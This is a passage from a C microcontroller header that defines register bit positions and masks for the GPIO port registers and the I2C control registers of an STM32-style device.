<< GPIO_OSPEEDER_OSPEEDR11_Pos) /*!< 0x00C00000 */ #define GPIO_OSPEEDER_OSPEEDR11 GPIO_OSPEEDER_OSPEEDR11_Msk #define GPIO_OSPEEDER_OSPEEDR11_0 (0x1U << GPIO_OSPEEDER_OSPEEDR11_Pos) /*!< 0x00400000 */ #define GPIO_OSPEEDER_OSPEEDR11_1 (0x2U << GPIO_OSPEEDER_OSPEEDR11_Pos) /*!< 0x00800000 */ #define GPIO_OSPEEDER_OSPEEDR12_Pos (24U) #define GPIO_OSPEEDER_OSPEEDR12_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR12_Pos) /*!< 0x03000000 */ #define GPIO_OSPEEDER_OSPEEDR12 GPIO_OSPEEDER_OSPEEDR12_Msk #define GPIO_OSPEEDER_OSPEEDR12_0 (0x1U << GPIO_OSPEEDER_OSPEEDR12_Pos) /*!< 0x01000000 */ #define GPIO_OSPEEDER_OSPEEDR12_1 (0x2U << GPIO_OSPEEDER_OSPEEDR12_Pos) /*!< 0x02000000 */ #define GPIO_OSPEEDER_OSPEEDR13_Pos (26U) #define GPIO_OSPEEDER_OSPEEDR13_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR13_Pos) /*!< 0x0C000000 */ #define GPIO_OSPEEDER_OSPEEDR13 GPIO_OSPEEDER_OSPEEDR13_Msk #define GPIO_OSPEEDER_OSPEEDR13_0 (0x1U << GPIO_OSPEEDER_OSPEEDR13_Pos) /*!< 0x04000000 */ #define GPIO_OSPEEDER_OSPEEDR13_1 (0x2U << GPIO_OSPEEDER_OSPEEDR13_Pos) /*!< 0x08000000 */ #define GPIO_OSPEEDER_OSPEEDR14_Pos (28U) #define GPIO_OSPEEDER_OSPEEDR14_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR14_Pos) /*!< 0x30000000 */ #define GPIO_OSPEEDER_OSPEEDR14 GPIO_OSPEEDER_OSPEEDR14_Msk #define GPIO_OSPEEDER_OSPEEDR14_0 (0x1U << GPIO_OSPEEDER_OSPEEDR14_Pos) /*!< 0x10000000 */ #define GPIO_OSPEEDER_OSPEEDR14_1 (0x2U << GPIO_OSPEEDER_OSPEEDR14_Pos) /*!< 0x20000000 */ #define GPIO_OSPEEDER_OSPEEDR15_Pos (30U) #define GPIO_OSPEEDER_OSPEEDR15_Msk (0x3U << GPIO_OSPEEDER_OSPEEDR15_Pos) /*!< 0xC0000000 */ #define GPIO_OSPEEDER_OSPEEDR15 GPIO_OSPEEDER_OSPEEDR15_Msk #define GPIO_OSPEEDER_OSPEEDR15_0 (0x1U << GPIO_OSPEEDER_OSPEEDR15_Pos) /*!< 0x40000000 */ #define GPIO_OSPEEDER_OSPEEDR15_1 (0x2U << GPIO_OSPEEDER_OSPEEDR15_Pos) /*!< 0x80000000 */ /******************* Bit definition for GPIO_PUPDR register ******************/ #define GPIO_PUPDR_PUPDR0_Pos (0U) #define GPIO_PUPDR_PUPDR0_Msk (0x3U << GPIO_PUPDR_PUPDR0_Pos) /*!< 0x00000003 */ #define GPIO_PUPDR_PUPDR0 GPIO_PUPDR_PUPDR0_Msk #define GPIO_PUPDR_PUPDR0_0 (0x1U << GPIO_PUPDR_PUPDR0_Pos) /*!< 0x00000001 */ #define GPIO_PUPDR_PUPDR0_1 (0x2U << GPIO_PUPDR_PUPDR0_Pos) /*!< 0x00000002 */ #define GPIO_PUPDR_PUPDR1_Pos (2U) #define GPIO_PUPDR_PUPDR1_Msk (0x3U << GPIO_PUPDR_PUPDR1_Pos) /*!< 0x0000000C */ #define GPIO_PUPDR_PUPDR1 GPIO_PUPDR_PUPDR1_Msk #define GPIO_PUPDR_PUPDR1_0 (0x1U << GPIO_PUPDR_PUPDR1_Pos) /*!< 0x00000004 */ #define GPIO_PUPDR_PUPDR1_1 (0x2U << GPIO_PUPDR_PUPDR1_Pos) /*!< 0x00000008 */ #define GPIO_PUPDR_PUPDR2_Pos (4U) #define GPIO_PUPDR_PUPDR2_Msk (0x3U << GPIO_PUPDR_PUPDR2_Pos) /*!< 0x00000030 */ #define GPIO_PUPDR_PUPDR2 GPIO_PUPDR_PUPDR2_Msk #define GPIO_PUPDR_PUPDR2_0 (0x1U << GPIO_PUPDR_PUPDR2_Pos) /*!< 0x00000010 */ #define GPIO_PUPDR_PUPDR2_1 (0x2U << GPIO_PUPDR_PUPDR2_Pos) /*!< 0x00000020 */ #define GPIO_PUPDR_PUPDR3_Pos (6U) #define GPIO_PUPDR_PUPDR3_Msk (0x3U << GPIO_PUPDR_PUPDR3_Pos) /*!< 0x000000C0 */ #define GPIO_PUPDR_PUPDR3 GPIO_PUPDR_PUPDR3_Msk #define GPIO_PUPDR_PUPDR3_0 (0x1U << GPIO_PUPDR_PUPDR3_Pos) /*!< 0x00000040 */ #define GPIO_PUPDR_PUPDR3_1 (0x2U << GPIO_PUPDR_PUPDR3_Pos) /*!< 0x00000080 */ #define GPIO_PUPDR_PUPDR4_Pos (8U) #define GPIO_PUPDR_PUPDR4_Msk (0x3U << GPIO_PUPDR_PUPDR4_Pos) /*!< 0x00000300 */ #define GPIO_PUPDR_PUPDR4 GPIO_PUPDR_PUPDR4_Msk #define GPIO_PUPDR_PUPDR4_0 (0x1U << GPIO_PUPDR_PUPDR4_Pos) /*!< 0x00000100 */ #define GPIO_PUPDR_PUPDR4_1 (0x2U << GPIO_PUPDR_PUPDR4_Pos) /*!< 0x00000200 */ #define GPIO_PUPDR_PUPDR5_Pos (10U) #define GPIO_PUPDR_PUPDR5_Msk (0x3U << GPIO_PUPDR_PUPDR5_Pos) /*!< 0x00000C00 */ #define GPIO_PUPDR_PUPDR5 GPIO_PUPDR_PUPDR5_Msk #define GPIO_PUPDR_PUPDR5_0 (0x1U << GPIO_PUPDR_PUPDR5_Pos) /*!< 0x00000400 */ #define GPIO_PUPDR_PUPDR5_1 (0x2U << GPIO_PUPDR_PUPDR5_Pos) /*!< 0x00000800 */ #define GPIO_PUPDR_PUPDR6_Pos (12U) #define GPIO_PUPDR_PUPDR6_Msk (0x3U << GPIO_PUPDR_PUPDR6_Pos) /*!< 0x00003000 */ #define GPIO_PUPDR_PUPDR6 GPIO_PUPDR_PUPDR6_Msk #define GPIO_PUPDR_PUPDR6_0 (0x1U << GPIO_PUPDR_PUPDR6_Pos) /*!< 0x00001000 */ #define GPIO_PUPDR_PUPDR6_1 (0x2U << GPIO_PUPDR_PUPDR6_Pos) /*!< 0x00002000 */ #define GPIO_PUPDR_PUPDR7_Pos (14U) #define GPIO_PUPDR_PUPDR7_Msk (0x3U << GPIO_PUPDR_PUPDR7_Pos) /*!< 0x0000C000 */ #define GPIO_PUPDR_PUPDR7 GPIO_PUPDR_PUPDR7_Msk #define GPIO_PUPDR_PUPDR7_0 (0x1U << GPIO_PUPDR_PUPDR7_Pos) /*!< 0x00004000 */ #define GPIO_PUPDR_PUPDR7_1 (0x2U << GPIO_PUPDR_PUPDR7_Pos) /*!< 0x00008000 */ #define GPIO_PUPDR_PUPDR8_Pos (16U) #define GPIO_PUPDR_PUPDR8_Msk (0x3U << GPIO_PUPDR_PUPDR8_Pos) /*!< 0x00030000 */ #define GPIO_PUPDR_PUPDR8 GPIO_PUPDR_PUPDR8_Msk #define GPIO_PUPDR_PUPDR8_0 (0x1U << GPIO_PUPDR_PUPDR8_Pos) /*!< 0x00010000 */ #define GPIO_PUPDR_PUPDR8_1 (0x2U << GPIO_PUPDR_PUPDR8_Pos) /*!< 0x00020000 */ #define GPIO_PUPDR_PUPDR9_Pos (18U) #define GPIO_PUPDR_PUPDR9_Msk (0x3U << GPIO_PUPDR_PUPDR9_Pos) /*!< 0x000C0000 */ #define GPIO_PUPDR_PUPDR9 GPIO_PUPDR_PUPDR9_Msk #define GPIO_PUPDR_PUPDR9_0 (0x1U << GPIO_PUPDR_PUPDR9_Pos) /*!< 0x00040000 */ #define GPIO_PUPDR_PUPDR9_1 (0x2U << GPIO_PUPDR_PUPDR9_Pos) /*!< 0x00080000 */ #define GPIO_PUPDR_PUPDR10_Pos (20U) #define GPIO_PUPDR_PUPDR10_Msk (0x3U << GPIO_PUPDR_PUPDR10_Pos) /*!< 0x00300000 */ #define GPIO_PUPDR_PUPDR10 GPIO_PUPDR_PUPDR10_Msk #define GPIO_PUPDR_PUPDR10_0 (0x1U << GPIO_PUPDR_PUPDR10_Pos) /*!< 0x00100000 */ #define GPIO_PUPDR_PUPDR10_1 (0x2U << GPIO_PUPDR_PUPDR10_Pos) /*!< 0x00200000 */ #define GPIO_PUPDR_PUPDR11_Pos (22U) #define GPIO_PUPDR_PUPDR11_Msk (0x3U << GPIO_PUPDR_PUPDR11_Pos) /*!< 0x00C00000 */ #define GPIO_PUPDR_PUPDR11 GPIO_PUPDR_PUPDR11_Msk #define GPIO_PUPDR_PUPDR11_0 (0x1U << GPIO_PUPDR_PUPDR11_Pos) /*!< 0x00400000 */ #define GPIO_PUPDR_PUPDR11_1 (0x2U << GPIO_PUPDR_PUPDR11_Pos) /*!< 0x00800000 */ #define GPIO_PUPDR_PUPDR12_Pos (24U) #define GPIO_PUPDR_PUPDR12_Msk (0x3U << GPIO_PUPDR_PUPDR12_Pos) /*!< 0x03000000 */ #define GPIO_PUPDR_PUPDR12 GPIO_PUPDR_PUPDR12_Msk #define GPIO_PUPDR_PUPDR12_0 (0x1U << GPIO_PUPDR_PUPDR12_Pos) /*!< 0x01000000 */ #define GPIO_PUPDR_PUPDR12_1 (0x2U << GPIO_PUPDR_PUPDR12_Pos) /*!< 0x02000000 */ #define GPIO_PUPDR_PUPDR13_Pos (26U) #define GPIO_PUPDR_PUPDR13_Msk (0x3U << GPIO_PUPDR_PUPDR13_Pos) /*!< 0x0C000000 */ #define GPIO_PUPDR_PUPDR13 GPIO_PUPDR_PUPDR13_Msk #define GPIO_PUPDR_PUPDR13_0 (0x1U << GPIO_PUPDR_PUPDR13_Pos) /*!< 0x04000000 */ #define GPIO_PUPDR_PUPDR13_1 (0x2U << GPIO_PUPDR_PUPDR13_Pos) /*!< 0x08000000 */ #define GPIO_PUPDR_PUPDR14_Pos (28U) #define GPIO_PUPDR_PUPDR14_Msk (0x3U << GPIO_PUPDR_PUPDR14_Pos) /*!< 0x30000000 */ #define GPIO_PUPDR_PUPDR14 GPIO_PUPDR_PUPDR14_Msk #define GPIO_PUPDR_PUPDR14_0 (0x1U << GPIO_PUPDR_PUPDR14_Pos) /*!< 0x10000000 */ #define GPIO_PUPDR_PUPDR14_1 (0x2U << GPIO_PUPDR_PUPDR14_Pos) /*!< 0x20000000 */ #define GPIO_PUPDR_PUPDR15_Pos (30U) #define GPIO_PUPDR_PUPDR15_Msk (0x3U << GPIO_PUPDR_PUPDR15_Pos) /*!< 0xC0000000 */ #define GPIO_PUPDR_PUPDR15 GPIO_PUPDR_PUPDR15_Msk #define GPIO_PUPDR_PUPDR15_0 (0x1U << GPIO_PUPDR_PUPDR15_Pos) /*!< 0x40000000 */ #define GPIO_PUPDR_PUPDR15_1 (0x2U << GPIO_PUPDR_PUPDR15_Pos) /*!< 0x80000000 */ /******************* Bit definition for GPIO_IDR register *******************/ #define GPIO_IDR_0 (0x00000001U) #define GPIO_IDR_1 (0x00000002U) #define GPIO_IDR_2 (0x00000004U) #define GPIO_IDR_3 (0x00000008U) #define GPIO_IDR_4 (0x00000010U) #define GPIO_IDR_5 (0x00000020U) #define GPIO_IDR_6 (0x00000040U) #define GPIO_IDR_7 (0x00000080U) #define GPIO_IDR_8 (0x00000100U) #define GPIO_IDR_9 (0x00000200U) #define GPIO_IDR_10 (0x00000400U) #define GPIO_IDR_11 (0x00000800U) #define GPIO_IDR_12 (0x00001000U) #define GPIO_IDR_13 (0x00002000U) #define GPIO_IDR_14 (0x00004000U) #define GPIO_IDR_15 (0x00008000U) /****************** Bit definition for GPIO_ODR register ********************/ #define GPIO_ODR_0 (0x00000001U) #define GPIO_ODR_1 (0x00000002U) #define GPIO_ODR_2 (0x00000004U) #define GPIO_ODR_3 (0x00000008U) #define GPIO_ODR_4 (0x00000010U) #define GPIO_ODR_5 (0x00000020U) #define GPIO_ODR_6 (0x00000040U) #define GPIO_ODR_7 (0x00000080U) #define GPIO_ODR_8 (0x00000100U) #define GPIO_ODR_9 (0x00000200U) #define GPIO_ODR_10 (0x00000400U) #define GPIO_ODR_11 (0x00000800U) #define GPIO_ODR_12 (0x00001000U) #define GPIO_ODR_13 (0x00002000U) #define GPIO_ODR_14 (0x00004000U) #define GPIO_ODR_15 (0x00008000U) /****************** Bit definition for GPIO_BSRR register ********************/ #define GPIO_BSRR_BS_0 (0x00000001U) #define GPIO_BSRR_BS_1 (0x00000002U) #define GPIO_BSRR_BS_2 (0x00000004U) #define GPIO_BSRR_BS_3 (0x00000008U) #define GPIO_BSRR_BS_4 (0x00000010U) #define GPIO_BSRR_BS_5 (0x00000020U) #define GPIO_BSRR_BS_6 (0x00000040U) #define GPIO_BSRR_BS_7 (0x00000080U) #define GPIO_BSRR_BS_8 (0x00000100U) #define GPIO_BSRR_BS_9 (0x00000200U) #define GPIO_BSRR_BS_10 (0x00000400U) #define GPIO_BSRR_BS_11 (0x00000800U) #define GPIO_BSRR_BS_12 (0x00001000U) #define GPIO_BSRR_BS_13 (0x00002000U) #define GPIO_BSRR_BS_14 (0x00004000U) #define GPIO_BSRR_BS_15 (0x00008000U) #define GPIO_BSRR_BR_0 (0x00010000U) #define GPIO_BSRR_BR_1 (0x00020000U) #define GPIO_BSRR_BR_2 (0x00040000U) #define GPIO_BSRR_BR_3 (0x00080000U) #define GPIO_BSRR_BR_4 (0x00100000U) #define GPIO_BSRR_BR_5 (0x00200000U) #define GPIO_BSRR_BR_6 (0x00400000U) #define GPIO_BSRR_BR_7 (0x00800000U) #define GPIO_BSRR_BR_8 (0x01000000U) #define GPIO_BSRR_BR_9 (0x02000000U) #define GPIO_BSRR_BR_10 (0x04000000U) #define GPIO_BSRR_BR_11 (0x08000000U) #define GPIO_BSRR_BR_12 (0x10000000U) #define GPIO_BSRR_BR_13 (0x20000000U) #define GPIO_BSRR_BR_14 (0x40000000U) #define GPIO_BSRR_BR_15 (0x80000000U) /****************** Bit definition for GPIO_LCKR register ********************/ #define GPIO_LCKR_LCK0_Pos (0U) #define GPIO_LCKR_LCK0_Msk (0x1U << GPIO_LCKR_LCK0_Pos) /*!< 0x00000001 */ #define GPIO_LCKR_LCK0 GPIO_LCKR_LCK0_Msk #define GPIO_LCKR_LCK1_Pos (1U) #define GPIO_LCKR_LCK1_Msk (0x1U << GPIO_LCKR_LCK1_Pos) /*!< 0x00000002 */ #define GPIO_LCKR_LCK1 GPIO_LCKR_LCK1_Msk #define GPIO_LCKR_LCK2_Pos (2U) #define GPIO_LCKR_LCK2_Msk (0x1U << GPIO_LCKR_LCK2_Pos) /*!< 0x00000004 */ #define GPIO_LCKR_LCK2 GPIO_LCKR_LCK2_Msk #define GPIO_LCKR_LCK3_Pos (3U) #define GPIO_LCKR_LCK3_Msk (0x1U << GPIO_LCKR_LCK3_Pos) /*!< 0x00000008 */ #define GPIO_LCKR_LCK3 GPIO_LCKR_LCK3_Msk #define GPIO_LCKR_LCK4_Pos (4U) #define GPIO_LCKR_LCK4_Msk (0x1U << GPIO_LCKR_LCK4_Pos) /*!< 0x00000010 */ #define GPIO_LCKR_LCK4 GPIO_LCKR_LCK4_Msk #define GPIO_LCKR_LCK5_Pos (5U) #define GPIO_LCKR_LCK5_Msk (0x1U << GPIO_LCKR_LCK5_Pos) /*!< 0x00000020 */ #define GPIO_LCKR_LCK5 GPIO_LCKR_LCK5_Msk #define GPIO_LCKR_LCK6_Pos (6U) #define GPIO_LCKR_LCK6_Msk (0x1U << GPIO_LCKR_LCK6_Pos) /*!< 0x00000040 */ #define GPIO_LCKR_LCK6 GPIO_LCKR_LCK6_Msk #define GPIO_LCKR_LCK7_Pos (7U) #define GPIO_LCKR_LCK7_Msk (0x1U << GPIO_LCKR_LCK7_Pos) /*!< 0x00000080 */ #define GPIO_LCKR_LCK7 GPIO_LCKR_LCK7_Msk #define GPIO_LCKR_LCK8_Pos (8U) #define GPIO_LCKR_LCK8_Msk (0x1U << GPIO_LCKR_LCK8_Pos) /*!< 0x00000100 */ #define GPIO_LCKR_LCK8 GPIO_LCKR_LCK8_Msk #define GPIO_LCKR_LCK9_Pos (9U) #define GPIO_LCKR_LCK9_Msk (0x1U << GPIO_LCKR_LCK9_Pos) /*!< 0x00000200 */ #define GPIO_LCKR_LCK9 GPIO_LCKR_LCK9_Msk #define GPIO_LCKR_LCK10_Pos (10U) #define GPIO_LCKR_LCK10_Msk (0x1U << GPIO_LCKR_LCK10_Pos) /*!< 0x00000400 */ #define GPIO_LCKR_LCK10 GPIO_LCKR_LCK10_Msk #define GPIO_LCKR_LCK11_Pos (11U) #define GPIO_LCKR_LCK11_Msk (0x1U << GPIO_LCKR_LCK11_Pos) /*!< 0x00000800 */ #define GPIO_LCKR_LCK11 GPIO_LCKR_LCK11_Msk #define GPIO_LCKR_LCK12_Pos (12U) #define GPIO_LCKR_LCK12_Msk (0x1U << GPIO_LCKR_LCK12_Pos) /*!< 0x00001000 */ #define GPIO_LCKR_LCK12 GPIO_LCKR_LCK12_Msk #define GPIO_LCKR_LCK13_Pos (13U) #define GPIO_LCKR_LCK13_Msk (0x1U << GPIO_LCKR_LCK13_Pos) /*!< 0x00002000 */ #define GPIO_LCKR_LCK13 GPIO_LCKR_LCK13_Msk #define GPIO_LCKR_LCK14_Pos (14U) #define GPIO_LCKR_LCK14_Msk (0x1U << GPIO_LCKR_LCK14_Pos) /*!< 0x00004000 */ #define GPIO_LCKR_LCK14 GPIO_LCKR_LCK14_Msk #define GPIO_LCKR_LCK15_Pos (15U) #define GPIO_LCKR_LCK15_Msk (0x1U << GPIO_LCKR_LCK15_Pos) /*!< 0x00008000 */ #define GPIO_LCKR_LCK15 GPIO_LCKR_LCK15_Msk #define GPIO_LCKR_LCKK_Pos (16U) #define GPIO_LCKR_LCKK_Msk (0x1U << GPIO_LCKR_LCKK_Pos) /*!< 0x00010000 */ #define GPIO_LCKR_LCKK GPIO_LCKR_LCKK_Msk /****************** Bit definition for GPIO_AFRL register ********************/ #define GPIO_AFRL_AFRL0_Pos (0U) #define GPIO_AFRL_AFRL0_Msk (0xFU << GPIO_AFRL_AFRL0_Pos) /*!< 0x0000000F */ #define GPIO_AFRL_AFRL0 GPIO_AFRL_AFRL0_Msk #define GPIO_AFRL_AFRL1_Pos (4U) #define GPIO_AFRL_AFRL1_Msk (0xFU << GPIO_AFRL_AFRL1_Pos) /*!< 0x000000F0 */ #define GPIO_AFRL_AFRL1 GPIO_AFRL_AFRL1_Msk #define GPIO_AFRL_AFRL2_Pos (8U) #define GPIO_AFRL_AFRL2_Msk (0xFU << GPIO_AFRL_AFRL2_Pos) /*!< 0x00000F00 */ #define GPIO_AFRL_AFRL2 GPIO_AFRL_AFRL2_Msk #define GPIO_AFRL_AFRL3_Pos (12U) #define GPIO_AFRL_AFRL3_Msk (0xFU << GPIO_AFRL_AFRL3_Pos) /*!< 0x0000F000 */ #define GPIO_AFRL_AFRL3 GPIO_AFRL_AFRL3_Msk #define GPIO_AFRL_AFRL4_Pos (16U) #define GPIO_AFRL_AFRL4_Msk (0xFU << GPIO_AFRL_AFRL4_Pos) /*!< 0x000F0000 */ #define GPIO_AFRL_AFRL4 GPIO_AFRL_AFRL4_Msk #define GPIO_AFRL_AFRL5_Pos (20U) #define GPIO_AFRL_AFRL5_Msk (0xFU << GPIO_AFRL_AFRL5_Pos) /*!< 0x00F00000 */ #define GPIO_AFRL_AFRL5 GPIO_AFRL_AFRL5_Msk #define GPIO_AFRL_AFRL6_Pos (24U) #define GPIO_AFRL_AFRL6_Msk (0xFU << GPIO_AFRL_AFRL6_Pos) /*!< 0x0F000000 */ #define GPIO_AFRL_AFRL6 GPIO_AFRL_AFRL6_Msk #define GPIO_AFRL_AFRL7_Pos (28U) #define GPIO_AFRL_AFRL7_Msk (0xFU << GPIO_AFRL_AFRL7_Pos) /*!< 0xF0000000 */ #define GPIO_AFRL_AFRL7 GPIO_AFRL_AFRL7_Msk /****************** Bit definition for GPIO_AFRH register ********************/ #define GPIO_AFRH_AFRH0_Pos (0U) #define GPIO_AFRH_AFRH0_Msk (0xFU << GPIO_AFRH_AFRH0_Pos) /*!< 0x0000000F */ #define GPIO_AFRH_AFRH0 GPIO_AFRH_AFRH0_Msk #define GPIO_AFRH_AFRH1_Pos (4U) #define GPIO_AFRH_AFRH1_Msk (0xFU << GPIO_AFRH_AFRH1_Pos) /*!< 0x000000F0 */ #define GPIO_AFRH_AFRH1 GPIO_AFRH_AFRH1_Msk #define GPIO_AFRH_AFRH2_Pos (8U) #define GPIO_AFRH_AFRH2_Msk (0xFU << GPIO_AFRH_AFRH2_Pos) /*!< 0x00000F00 */ #define GPIO_AFRH_AFRH2 GPIO_AFRH_AFRH2_Msk #define GPIO_AFRH_AFRH3_Pos (12U) #define GPIO_AFRH_AFRH3_Msk (0xFU << GPIO_AFRH_AFRH3_Pos) /*!< 0x0000F000 */ #define GPIO_AFRH_AFRH3 GPIO_AFRH_AFRH3_Msk #define GPIO_AFRH_AFRH4_Pos (16U) #define GPIO_AFRH_AFRH4_Msk (0xFU << GPIO_AFRH_AFRH4_Pos) /*!< 0x000F0000 */ #define GPIO_AFRH_AFRH4 GPIO_AFRH_AFRH4_Msk #define GPIO_AFRH_AFRH5_Pos (20U) #define GPIO_AFRH_AFRH5_Msk (0xFU << GPIO_AFRH_AFRH5_Pos) /*!< 0x00F00000 */ #define GPIO_AFRH_AFRH5 GPIO_AFRH_AFRH5_Msk #define GPIO_AFRH_AFRH6_Pos (24U) #define GPIO_AFRH_AFRH6_Msk (0xFU << GPIO_AFRH_AFRH6_Pos) /*!< 0x0F000000 */ #define GPIO_AFRH_AFRH6 GPIO_AFRH_AFRH6_Msk #define GPIO_AFRH_AFRH7_Pos (28U) #define GPIO_AFRH_AFRH7_Msk (0xFU << GPIO_AFRH_AFRH7_Pos) /*!< 0xF0000000 */ #define GPIO_AFRH_AFRH7 GPIO_AFRH_AFRH7_Msk /****************** Bit definition for GPIO_BRR register *********************/ #define GPIO_BRR_BR_0 (0x00000001U) #define GPIO_BRR_BR_1 (0x00000002U) #define GPIO_BRR_BR_2 (0x00000004U) #define GPIO_BRR_BR_3 (0x00000008U) #define GPIO_BRR_BR_4 (0x00000010U) #define GPIO_BRR_BR_5 (0x00000020U) #define GPIO_BRR_BR_6 (0x00000040U) #define GPIO_BRR_BR_7 (0x00000080U) #define GPIO_BRR_BR_8 (0x00000100U) #define GPIO_BRR_BR_9 (0x00000200U) #define GPIO_BRR_BR_10 (0x00000400U) #define GPIO_BRR_BR_11 (0x00000800U) #define GPIO_BRR_BR_12 (0x00001000U) #define GPIO_BRR_BR_13 (0x00002000U) #define GPIO_BRR_BR_14 (0x00004000U) #define GPIO_BRR_BR_15 (0x00008000U) /******************************************************************************/ /* */ /* Inter-integrated Circuit Interface (I2C) */ /* */ /******************************************************************************/ /******************* Bit definition for I2C_CR1 register *******************/ #define I2C_CR1_PE_Pos (0U) #define I2C_CR1_PE_Msk (0x1U << I2C_CR1_PE_Pos) /*!< 0x00000001 */ #define I2C_CR1_PE I2C_CR1_PE_Msk /*!< Peripheral enable */ #define I2C_CR1_TXIE_Pos (1U) #define I2C_CR1_TXIE_Msk (0x1U << I2C_CR1_TXIE_Pos) /*!< 0x00000002 */ #define I2C_CR1_TXIE I2C_CR1_TXIE_Msk /*!< TX interrupt enable */ #define I2C_CR1_RXIE_Pos (2U) #define I2C_CR1_RXIE_Msk (0x1U << I2C_CR1_RXIE_Pos) /*!< 0x00000004 */ #define I2C_CR1_RXIE I2C_CR1_RXIE_Msk /*!< RX interrupt enable */ #define I2C_CR1_ADDRIE_Pos (3U) #define I2C_CR1_ADDRIE_Msk (0x1U << I2C_CR1_ADDRIE_Pos) /*!< 0x00000008 */ #define I2C_CR1_ADDRIE I2C_CR1_ADDRIE_Msk /*!< Address match interrupt enable */ #define I2C_CR1_NACKIE_Pos (4U) #define I2C_CR1_NACKIE_Msk (0x1U << I2C_CR1_NACKIE_Pos) /*!< 0x00000010 */ #define I2C_CR1_NACKIE I2C_CR1_NACKIE_Msk /*!< NACK received interrupt enable */ #define I2C_CR1_STOPIE_Pos (5U) #define I2C_CR1_STOPIE_Msk (0x1U << I2C_CR1_STOPIE_Pos) /*!< 0x00000020 */ #define I2C_CR1_STOPIE I2C_CR1_STOPIE_Msk /*!< STOP detection interrupt enable */ #define I2C_CR1_TCIE_Pos (6U) #define I2C_CR1_TCIE_Msk (0x1U << I2C_CR1_TCIE_Pos) /*!< 0x00000040 */ #define I2C_CR1_TCIE I2C_CR1_TCIE_Msk /*!< Transfer complete interrupt enable */ #define I2C_CR1_ERRIE_Pos (7U) #define I2C_CR1_ERRIE_Msk (0x1U << I2C_CR1_ERRIE_Pos) /*!< 0x00000080 */ #define I2C_CR1_ERRIE I2C_CR1_ERRIE_Msk /*!< Errors interrupt enable */ #define I2C_CR1_DNF_Pos (8U) #define I2C_CR1_DNF_Msk (0xFU << I2C_CR1_DNF_Pos) /*!< 0x00000F00 */ #define I2C_CR1_DNF I2C_CR1_DNF_Msk /*!< Digital noise filter */ #define I2C_CR1_ANFOFF_Pos (12U) #define I2C_CR1_ANFOFF_Msk (0x1U << I2C_CR1_ANFOFF_Pos) /*!< 0x00001000 */ #define I2C_CR1_ANFOFF I2C_CR1_ANFOFF_Msk /*!< Analog noise filter OFF */ #define I2C_CR1_SWRST_Pos (13U) #define I2C_CR1_SWRST_Msk (0x1U << I2C_CR1_SWRST_Pos) /*!< 0x00002000 */ #define I2C_CR1_SWRST I2C_CR1_SWRST_Msk /*!< Software reset */ #define I2C_CR1_TXDMAEN_Pos (14U) #define I2C_CR1_TXDMAEN_Msk (0x1U << I2C_CR1_TXDMAEN_Pos) /*!< 0x00004000 */ #define I2C_CR1_TXDMAEN I2C_CR1_TXDMAEN_Msk /*!< DMA transmission requests enable */ #define I2C_CR1_RXDMAEN_Pos (15U) #define I2C_CR1_RXDMAEN_Msk (0x1U << I2C_CR1_RXDMAEN_Pos) /*!< 0x00008000 */ #define I2C_CR1_RXDMAEN I2C_CR1_RXDMAEN_Msk /*!< DMA reception requests enable */ #define I2C_CR1_SBC_Pos (16U) #define I2C_CR1_SBC_Msk (0x1U << I2C_CR1_SBC_Pos) /*!< 0x00010000 */ #define I2C_CR1_SBC I2C_CR1_SBC_Msk /*!< Slave byte control */ #define I2C_CR1_NOSTRETCH_Pos (17U) #define I2C_CR1_NOSTRETCH_Msk (0x1U << I2C_CR1_NOSTRETCH_Pos) /*!< 0x00020000 */ #define I2C_CR1_NOSTRETCH I2C_CR1_NOSTRETCH_Msk /*!< Clock stretching disable */ #define I2C_CR1_WUPEN_Pos (18U) #define I2C_CR1_WUPEN_Msk (0x1U << I2C_CR1_WUPEN_Pos) /*!< 0x00040000 */ #define I2C_CR1_WUPEN I2C_CR1_WUPEN_Msk /*!< Wakeup from STOP enable */ #define I2C_CR1_GCEN_Pos (19U) #define I2C_CR1_GCEN_Msk (0x1U << I2C_CR1_GCEN_Pos) /*!< 0x00080000 */ #define I2C_CR1_GCEN I2C_CR1_GCEN_Msk /*!< General call enable */ #define I2C_CR1_SMBHEN_Pos (20U) #define I2C_CR1_SMBHEN_Msk (0x1U << I2C_CR1_SMBHEN_Pos) /*!< 0x00100000 */ #define I2C_CR1_SMBHEN I2C_CR1_SMBHEN_Msk /*!< SMBus host address enable */ #define I2C_CR1_SMBDEN_Pos (21U) #define I2C_CR1_SMBDEN_Msk (0x1U << I2C_CR1_SMBDEN_Pos) /*!< 0x00200000 */ #define I2C_CR1_SMBDEN I2C_CR1_SMBDEN_Msk /*!< SMBus device default address enable */ #define I2C_CR1_ALERTEN_Pos (22U) #define I2C_CR1_ALERTEN_Msk (0x1U << I2C_CR1_ALERTEN_Pos) /*!< 0x00400000 */ #define I2C_CR1_ALERTEN I2C_CR1_ALERTEN_Msk /*!< SMBus alert enable */ #define I2C_CR1_PECEN_Pos (23U) #define I2C_CR1_PECEN_Msk (0x1U << I2C_CR1_PECEN_Pos) /*!< 0x00800000 */ #define I2C_CR1_PECEN I2C_CR1_PECEN_Msk /*!< PEC enable */ /* Legacy defines */ #define I2C_CR1_DFN I2C_CR1_DNF /****************** Bit definition for I2C_CR2 register ********************/ #define I2C_CR2_SADD_Pos (0U) #define I2C_CR2_SADD_Msk (0x3FFU << I2C_CR2_SADD_Pos) /*!< 0x000003FF */ #define I2C_CR2_SADD I2C_CR2_SADD_Msk /*!< Slave address (master mode) */ #define I2C_CR2_RD_WRN_Pos (10U) #define I2C_CR2_RD_WRN_Msk (0x1U << I2C_CR2_RD_WRN_Pos) /*!< 0x00000400 */ #define I2C_CR2_RD_WRN I2C_CR2_RD_WRN_Msk /*!< Transfer direction (master mode) */ #define I2C_CR2_ADD10_Pos (11U) #define I2C_CR2_ADD10_Msk (0x1U << I2C_CR2_ADD10_Pos) /*!< 0x00000800 */ #define I2C_CR2_ADD10 I2C_CR2_ADD10_Msk /*!< 10-bit addressing mode (master mode) */ #define I2C_CR2_HEAD10R_Pos (12U) #define I2C_CR2_HEAD10R_Msk (0x1U << I2C_CR2_HEAD10R_Pos) /*!< 0x00001000 */ #define I2C_CR2_HEAD10R I2C_CR2_HEAD10R_Msk /*!< 10-bit address header only read direction (master mode) */ #define I2C_CR2_START_Pos (13U) #define I2C_CR2_START_Msk (0x1U << I2C_CR2_START_Pos) /*!< 0x00002000 */ #define I2C_CR2_START I2C_CR2_START_Msk /*!< START generation */ #define I2C_CR2_STOP_Pos (14U) #define I2C_CR2_STOP_Msk (0x1U << I2C_CR2_STOP_Pos) /*!< 